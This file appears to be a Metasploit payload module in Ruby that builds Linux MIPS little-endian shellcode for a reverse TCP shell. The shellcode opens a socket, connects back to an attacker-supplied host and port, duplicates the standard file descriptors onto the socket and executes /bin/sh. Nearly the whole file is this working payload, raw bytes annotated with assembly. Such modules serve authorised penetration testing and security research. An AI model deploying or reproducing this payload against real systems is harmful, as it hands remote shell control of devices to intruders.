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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 184
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Command Shell, Reverse TCP Inline',
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        'Description' => 'Connect back to attacker and spawn a command shell',
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        'Author' => [
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          'rigan <imrigan[at]gmail.com>', # Original (mipsbe) shellcode
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          'juan vazquez' # Metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_MIPSLE,
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        'Handler' => Msf::Handler::ReverseTcp,
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        'Session' => Msf::Sessions::CommandShellUnix,
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        'Payload' => {
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          'Offsets' => {},
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          'Payload' => ''
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        }
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      )
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    )
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  end
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  def generate(_opts = {})
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    if !datastore['LHOST'] || datastore['LHOST'].empty?
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      return super
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    end
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    host = Rex::Socket.addr_atoi(datastore['LHOST'])
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    port = Integer(datastore['LPORT'])
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    host = [host].pack('N').unpack('cccc')
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    port = [port].pack('n').unpack('cc')
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    shellcode =
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      # sys_socket
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      # a0: domain
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      # a1: type
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      # a2: protocol
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      "\xfa\xff\x0f\x24" + # li t7,-6
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      "\x27\x78\xe0\x01" + # nor t7,t7,zero
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      "\xfd\xff\xe4\x21" + # addi a0,t7,-3
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      "\xfd\xff\xe5\x21" + # addi a1,t7,-3
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      "\xff\xff\x06\x28" + # slti a2,zero,-1
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      "\x57\x10\x02\x24" + # li v0,4183 # sys_socket
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      "\x0c\x01\x01\x01" + # syscall 0x40404
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      # sys_connect
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      # a0: sockfd (stored on the stack)
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      # a1: addr (data stored on the stack)
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      # a2: addrlen
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      "\xff\xff\xa2\xaf" + # sw v0,-1(sp)
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      "\xff\xff\xa4\x8f" + # lw a0,-1(sp)
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      "\xfd\xff\x0f\x34" + # li t7,0xfffd
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      "\x27\x78\xe0\x01" + # nor t7,t7,zero
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      "\xe2\xff\xaf\xaf" + # sw t7,-30(sp)
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      port.pack('C2') + "\x0e\x3c" + # lui t6,0x1f90
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      port.pack('C2') + "\xce\x35" + # ori t6,t6,0x1f90
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      "\xe4\xff\xae\xaf" + # sw t6,-28(sp)
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      host[2..3].pack('C2') + "\x0e\x3c" + # lui t6,0x7f01
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      host[0..1].pack('C2') + "\xce\x35" + # ori t6,t6,0x101
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      "\xe6\xff\xae\xaf" + # sw t6,-26(sp)
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      "\xe2\xff\xa5\x27" + # addiu a1,sp,-30
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      "\xef\xff\x0c\x24" + # li t4,-17
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      "\x27\x30\x80\x01" + # nor a2,t4,zero
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      "\x4a\x10\x02\x24" + # li v0,4170  # sys_connect
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      "\x0c\x01\x01\x01" + # syscall 0x40404
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      # sys_dup2
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      # a0: oldfd (socket)
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      # a1: newfd (0, 1, 2)
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      "\xfd\xff\x11\x24" + # li s1,-3
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      "\x27\x88\x20\x02" + # nor s1,s1,zero
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      "\xff\xff\xa4\x8f" + # lw a0,-1(sp)
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      "\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
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      "\xdf\x0f\x02\x24" + # li v0,4063 # sys_dup2
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      "\x0c\x01\x01\x01" + # syscall 0x40404
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      "\xff\xff\x10\x24" + # li s0,-1
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      "\xff\xff\x31\x22" + # addi s1,s1,-1
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      "\xfa\xff\x30\x16" + # bne s1,s0,68 <dup2_loop>
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      # sys_execve
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      # a0: filename (stored on the stack) "//bin/sh"
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      # a1: argv "//bin/sh"
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      # a2: envp (null)
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      "\xff\xff\x06\x28" + # slti a2,zero,-1
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      "\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
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      "\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
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      "\xec\xff\xaf\xaf" + # sw t7,-20(sp)
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      "\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
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      "\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
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      "\xf0\xff\xae\xaf" + # sw t6,-16(sp)
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      "\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
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      "\xec\xff\xa4\x27" + # addiu a0,sp,-20
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      "\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
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      "\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
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      "\xf8\xff\xa5\x27" + # addiu a1,sp,-8
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      "\xab\x0f\x02\x24" + # li v0,4011 # sys_execve
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      "\x0c\x01\x01\x01" # syscall 0x40404
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    return super + shellcode
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  end
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end
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